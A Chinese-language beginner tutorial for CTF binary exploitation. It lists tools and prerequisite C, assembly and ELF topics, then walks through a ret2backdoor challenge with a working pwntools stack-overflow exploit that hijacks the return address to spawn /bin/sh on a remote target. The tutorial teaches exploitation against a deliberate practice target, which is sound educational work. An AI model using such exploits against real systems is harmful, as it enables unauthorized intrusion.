Pwn
0xFF. Pwn 是干什么的?好吃🐎?
Pwn 是由 own 引申而来的,它表示玩家处于胜利的优势。在黑客语法的俚语中,Pwn 是指攻破设备或者系统,发音类似「砰」。对黑客而言,利用一些漏洞成功实施黑客攻击,获取到服务器的权限并操纵,那么,This server just got pwned!
Pwn 需要的不仅是基本的 C 语言、汇编语言以及逆向功底,还有程序运行相关的知识。因此,你也可以选择先在逆向(Reverse)方向深造,当有一定了解后再来学习 Pwn 便会轻便许多。
0x00. 解决 Pwn 题目的基本流程
题目附件会提供可执行文件,需要使用 IDA、Ghidra 等反汇编工具对其进行静态分析,找到其中存在的漏洞。
之后将程序在本地运行,经过动态调试分析,写出攻击脚本,本地拿到一定权限之后就可以进行远程的攻击了。
TIP
攻击脚本一般使用 Python 配合一些工具库进行编写较为方便,你需要掌握 Python 的数据类型、函数等基础知识。
0x01. Pwn 环境搭建
请先确保你具备 Ubuntu(建议用近几年的 Ubuntu,比如 22.04 LTS、24.04 LTS) 操作系统。随后可以准备以下软件或工具:
- IDA/Ghidra(IDA 为 Windows 平台下的工具)
- pwntools
- gdb 及其插件
- ROPgadget
- one_gadget
INFO
下载传送门:IDA Pro 8.3
对于 Pwn 环境搭建,可参考 Pwn 环境搭建,或 Pwn 22.04 环境搭建保姆级教程。
除此之外还建议在 Ubuntu 装个趁手的代码编辑器,如 VSCode.
0x02. 前期 Pwn 的基本学习路线
首先前置知识有基础的 C 语言、汇编、ELF 程序的加载运行知识。
前置 C 语言知识:
- 程序结构、基础语法
- 数据类型、变量、常量以及变量作用域
if
switch
分支语句、for
while
do while
循环- 函数和变量生命周期
- 数组、字符串、结构体
- 指针、函数指针
- 指针的运算、解指针操作,以及与数组、字符串等常见类型的关系
- 基本类型(如
int
long long
char
和指针等)的类型大小 - 输入输出
- 文件读写
- 强制类型转换
- 一个字段在结构体中的偏移
- 常见不安全函数的特性(如
scanf
gets
read
memcpy
等) - 堆栈(指的是程序运行中的堆和栈)等底层数据结构
前置汇编知识:
- 寄存器
- x86_64 汇编的阅读和简单的编写
- 其他架构(如 Arm、Risc-v)汇编的阅读能力
- 内存寻址
- 函数调用以及栈帧变化
- 中断
ELF 相关知识:
- ELF 文件的结构:ELF每个段的作用、保护等
- 程序的加载、动态链接、静态链接
- ELF 程序的保护(如 Canary、PIE、RELRO、NX)
Pwn 知识:
- ret2text/ret2backdoor
- 整数溢出
- ROP
- 静态链接与动态链接
- ret2libc
- shellcode 编写与 ret2shellcode
- ret2syscall
- ret2dl_resolve
- 格式化字符串漏洞
- 伪随机数漏洞
- 栈迁移
- one_gadget
0x03. Pwn 基础
x86_64 汇编部分
寄存器
一个比较容易理解的方法就是把寄存器当作 C 语言中的变量,寄存器的顺序都是有规律的。
例如,r
开头的为 64 位寄存器(看作 unsigned long long
),如
rax
rbx
rcx
rdx
rdi
rsi
rsp
rbp
rip
r8
r9
r10
r11
r12
r13
r14
r15
例如,e
开头的是 32 位寄存器(看作 unsigned int
),如
eax
ebx
ecx
edx
edi
esi
esp
ebp
eip
其中 eax
是 rax
的低 4 字节,其它的以此类推。
数据类型
- 1 字节
BYTE
- 2 字节
WORD
- 4 字节
DWORD
- 8 字节
QWORD
基础汇编语句
以下是 Intel 格式汇编语句的例子:
mov rax, 1 ; 将 rax 的值赋值为 1
mov rax, rdi ; 将 rdi 存储的值赋值给 rax
mov rax, [0x404000] ; 将 0x404000 存储的内容复制到 rax 里面
mov [rdx], rax ; 将 rax 的值存储到 rdx 存储的指针指向的地方
除此之外比较类似的还有 add
sub
等指令。
lea rax, [rdx+0x10] ; 将 rdx+0x10 指针赋值给 rax
push rax ; 将 rax 的值 push 到栈上面。
pop rax ; 将栈顶的值 pop 到 rax 寄存器里面。
ELF 相关知识
ELF 结构
ELF 文件每个部分都是分段的。
IDA中,按下 ⇧ ShiftF7 即可查看
几个比较重要的段(Section)的作用:
.text
段:存储程序的代码,具有可读可执行权限,不可写.bss
段:存储没有赋初值的全局变量,可读可写.data
段:存储已经赋初值的全局变量,可读可写.rodata
段:存储全局常量,比如常量字符串等,仅仅可读
0x04. Pwn 题目解题示例
我们以一个 ret2backdoor 的题目为例子。
题目内容
靶机连接:
nc 120.53.240.208 6000
题目分析以及解题
首先下载下来附件并且解压,得到文件 pwn
.
将其复制进虚拟机并且当前文件夹打开终端,给予文件可执行权限。
chmod +x ./pwn
使用 file
以及 checksec
命令查看文件信息以及保护开启状态。
用 IDA 打开。
现在显示的就是 main
函数的汇编代码,按下 F5,就可以对当前函数进行反汇编为 C 语言。
最左边一栏就是当前程序的函数列表,双击就可以打开函数查看。
双击函数名称即可查看当前函数的反汇编代码实现。
可以点击 init
函数进行查看。因为 read
函数是库函数,实现位于 libc.so.6
的库中(有些版本文件名是 libc-?.??.so
)所以点开发现只有一行红色的 read
.
通过对 main
函数反汇编代码我们可以了解到程序的功能就是往 buf
里面使用 read
函数进行读入(最大长度 0x100
字节)。
buf
是个局部变量,位于栈中。
我们双击 buf
变量就可以查看当前函数的栈帧结构。
我们可以知道当前 buf
的长度为 16 字节,并且
_QWORD __saved_registers;
对应的是栈帧存储的rbp_old
;_UNKNOWN *__return_address;
对应当前函数的返回地址处。
我们可以读入的字节长度最长 0x100
远大于 16,就导致我们可以修改当前栈帧的 rbp_old
以及函数的返回地址,就可以劫持程序的执行流了。
我们发现程序存在 backdoor
函数,里面执行的是 system("/bin/sh")
.
这句代码的功能就是执行 /bin/sh
,即获取 shell,我们只要能把程序执行流劫持到这里就能拿到 shell 了。
之后我们开始写利用脚本(Exploit)。创建 exp.py
文件,首先写上最基本的框架:
from pwn import *
context.log_level='debug'
context(arch='amd64', os='linux')
ELFpath = './pwn'
p = process(ELFpath)
gdb.attach(p)
p.interactive()
我们要往 buf
写入的东西就是「16 个随便的字符」+「8 字节的 rbp_old」+「8字节的函数返回地址」,即 b'a'*0x10 + p64(0) + p64(0x4011BD)
.
这样我们就能更改 rbp_old
的数值为 0,更改函数的返回地址到 0x4011BD
.
然后我们使用 send
函数与程序进行交互。
from pwn import *
context.log_level='debug'
context(arch='amd64', os='linux')
ELFpath = './pwn'
p = process(ELFpath)
gdb.attach(p)
p.send(b'a'*0x10 + p64(0) + p64(0x4011BD))
p.interactive()
之后在终端运行 exp.py
脚本。
可以看到我们已经成功运行了,而且通过 gdb.attach()
成功开启 gdb 进行调试。
下面是 gdb/pwndbg 常用的命令:
ni
: 执行到当前函数的下一条汇编指令si
: 单步步入,和ni
的区别就是 call(调用)函数的时候会一步步进入所 call 的函数,而不是像ni
那样直接跳过fin
: 执行至当前函数结束q
: 退出gdbvmmap
: 查看当前内存中的每个段的信息tele 0x????
: 查看地址为0x????
的内存中存储的内容
我们执行到 main
函数结束的地方,就可以看到我们成功劫持程序的执行流到 backdoor
函数。
但是程序卡在了 system 函数的内部的一条命令:
0x7e3aee45842b <do_system+363> movaps xmmword ptr [rsp + 0x50], xmm0
这个命令涉及到 xmm
寄存器,xmm
寄存器为 128 位,需要 rsp+0x50
的最低一个 16 进制位为 0
.
一个可行的应对方法就是我们可以劫持程序的执行流到 0x4011C2
处,这样就能跳过一个 push
命令,rsp
自然就多了 8,就满足了 xmm
寄存器的要求。
修改一下地址就能拿到 shell 了
from pwn import *
context.log_level='debug'
context(arch='amd64', os='linux')
ELFpath = './pwn'
p = process(ELFpath)
gdb.attach(p)
p.send(b'a'*0x10 + p64(0) + p64(0x4011C2))
p.interactive()
之后注释掉 process
函数与 gdb.attach
函数,换 remote
函数打远程靶机即可:
p = remote('120.53.240.208', 6000)
远程利用成功。